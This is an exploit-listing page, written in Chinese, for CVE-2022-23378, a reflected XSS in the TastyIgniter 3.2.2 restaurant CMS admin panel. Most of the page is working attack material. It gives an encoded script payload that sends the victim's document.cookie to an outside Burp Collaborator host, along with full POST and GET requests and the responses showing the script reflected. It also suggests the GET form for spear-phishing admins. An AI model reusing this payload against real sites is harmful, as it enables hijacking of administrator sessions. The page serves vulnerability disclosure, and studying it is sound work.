Sploitus

Exploit for CVE-2022-23378

kitploit · 2026-09-12

Exploit Code

MARKDOWN116 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-THEGETCH-CVE-2022-23378
# CVE-2022-23378：TastyIgniter v3.2.2 餐厅CMS中的反射型XSS

经过身份验证的反射型XSS存在于TastyIgniter管理后台的v3.2.2版本中。

Mitre URL: https://vulners.com/cve/CVE-2022-23378

NIST URL: https://nvd.nist.gov/vuln/detail/CVE-2022-23378

## 概念验证 (POC)：

### 管理后台 - 过敏原：

**受影响的URL：** `/admin/allergens/edit/1?items%5B0%5D%5Bpath%5D=%2fdoesnotexist%3cscript%3efetch('https%3a%2f%2fvgfx3ortri1x8mjfw16ngmpq2h8awz.burpcollaborator.net'%2c%7bmethod%3a%20'POST'%2cmode%3a%20'no-cors'%2cbody%3adocument.cookie%7d)%3b%3c%2fscript%3e%20`

**受影响的源代码文件：** `./vendor/league/flysystem/src/FileNotFoundException.php`

在管理后台更新过敏原时，可以选择为该过敏原附加图片。添加图片时，会提交一个包含图片数据相关参数的POST请求。参数 `items%5B0%5D%5Bpath%5D` 存在JavaScript注入漏洞，从而为跨站脚本攻击（XSS）提供了潜在攻击向量。当包含XSS载荷时，服务器会返回一条包含并执行XSS载荷的错误消息。

携带XSS载荷的原始POST请求：

root@kitploit:~
    
    
    POST /admin/allergens/edit/1 HTTP/1.1
    Host: <已编辑>
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
    Accept: */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    X-IGNITER-REQUEST-HANDLER: formThumb::onAddAttachment
    X-CSRF-TOKEN: Y----8<----C8n
    X-Requested-With: XMLHttpRequest
    Origin: http://<已编辑>
    Connection: close
    Cookie: tastyigniter_session=ey----8<----n0%3D; admin_auth=ey----8<----0%3D; ti_activeFormSaveAction=%22close%22
    Cache-Control: no-transform
    
    items%5B0%5D%5Bname%5D=image.jpeg&items%5B0%5D%5Bpath%5D=%2fdoesnotexist%3cscript%3efetch('https%3a%2f%2fvgfx3ortri1x8mjfw16ngmpq2h8awz.burpcollaborator.net'%2c%7bmethod%3a%20'POST'%2cmode%3a%20'no-cors'%2cbody%3adocument.cookie%7d)%3b%3c%2fscript%3e%20&items%5B0%5D%5Bsize%5D=192&items%5B0%5D%5BlastModified%5D=1642193919&items%5B0%5D%5Btype%5D=file&items%5B0%5D%5BpublicUrl%5D=http%3A%2F%2F<已编辑>%2Fassets%2Fmedia%2Fuploads%2Fimage.jpeg
    

![01_原始POST请求](https://assets.kitploit.com/production/public/readmes/21104/16b3c2f6f6585214ebe7accadfea5cfc7b4af6e728bb44c2b85dcd127ebb731c.png)

服务器响应：

root@kitploit:~
    
    
    HTTP/1.1 500 Internal Server Error
    Date: Fri, 14 Jan 2022 21:21:27 GMT
    Server: Apache/2.4.38 (Debian)
    Cache-Control: no-cache, private
    Set-Cookie: tastyigniter_session=e----8<----In0%3D; expires=Fri, 14-Jan-2022 23:21:27 GMT; Max-Age=7200; path=/; httponly; samesite=lax
    Content-Length: 183
    Connection: close
    Content-Type: text/html; charset=UTF-8
    
    File not found at path: uploads/doesnotexist<script>fetch('https:/vgfx3ortri1x8mjfw16ngmpq2h8awz.burpcollaborator.net',{method: 'POST',mode: 'no-cors',body:document.cookie});</script>
    

此外，可以将该请求改为GET请求，并将受影响的参数包含在URL中，从而进一步提高攻击者在对受害鱼叉式钓鱼的成功率。

修改后的GET请求：

root@kitploit:~
    
    
    GET /admin/allergens/edit/1?items%5B0%5D%5Bpath%5D=%2fdoesnotexist%3cscript%3efetch('https%3a%2f%2fvgfx3ortri1x8mjfw16ngmpq2h8awz.burpcollaborator.net'%2c%7bmethod%3a%20'POST'%2cmode%3a%20'no-cors'%2cbody%3adocument.cookie%7d)%3b%3c%2fscript%3e%20 HTTP/1.1
    Host: <已编辑>
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
    Accept: */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    X-IGNITER-REQUEST-HANDLER: formThumb::onAddAttachment
    X-CSRF-TOKEN: Y----8<----C8n
    X-Requested-With: XMLHttpRequest
    Origin: http://<已编辑>
    Connection: close
    Cookie: tastyigniter_session=ey----8<----n0%3D; admin_auth=ey----8<----0%3D; ti_activeFormSaveAction=%22close%22
    Cache-Control: no-transform
    
    
    

![02_修改后的GET请求](https://assets.kitploit.com/production/public/readmes/21104/ae756a86de59895ab45793c5b9f366ae55c3e1c38a7b356ff7d6fa0c36d1e7ad.png)

响应保持不变：

root@kitploit:~
    
    
    HTTP/1.1 500 Internal Server Error
    Date: Fri, 14 Jan 2022 21:21:27 GMT
    Server: Apache/2.4.38 (Debian)
    Cache-Control: no-cache, private
    Set-Cookie: tastyigniter_session=eyJpdiI6Ik16bUtDZUV6eEw3RzByeG1LTWNBdUE9PSIsInZhbHVlIjoiQUgrTkJ1b2tmMzlFenVDVFlZZ1FHa0d5eVVITUFvT0t0YS9vcklNaHRKMnJYQjYwUyt5S3EySVpLWkpCSzR0YkhTS283VHV4d21KRjhCeHBZQ2NXbGlVRFVBcm9jR1dZbVlsdGZEdzFGZzQwQ2VjVjN1VkZ6ZWh2NmRGZis5dFEiLCJtYWMiOiI3YWQ4ZTM0NzBkZWIyZTNmNmE2OWM3NmJkMWJkYzgwNWYzYzRkNjQ2NjY5OGU2NzhkNjY5YTRlMWNmOTFiMjY0IiwidGFnIjoiIn0%3D; expires=Fri, 14-Jan-2022 23:21:27 GMT; Max-Age=7200; path=/; httponly; samesite=lax
    Content-Length: 183
    Connection: close
    Content-Type: text/html; charset=UTF-8
    
    File not found at path: uploads/doesnotexist<script>fetch('https:/vgfx3ortri1x8mjfw16ngmpq2h8awz.burpcollaborator.net',{method: 'POST',mode: 'no-cors',body:document.cookie});</script>
    

![03_服务器响应](https://assets.kitploit.com/production/public/readmes/21104/f537bc7494e298d11fdd98652f4322b702046a21bbc42d1f44f3490aaefddf04.png)

**Collaborator交互记录：**

![04_Collaborator命中](https://assets.kitploit.com/production/public/readmes/21104/3c774448007c1ceb0287ff53352fbfab6e4d7eb90873bf6b8f4142d9189b35e1.png)

![05_Collaborator交互](https://assets.kitploit.com/production/public/readmes/21104/78c690a19d54443d90ada47ba77caf9816d08c22d0956ada33c6350df3a8155c.png)

## 发现时间

2022年1月

  * Eric Getchell - TheGetch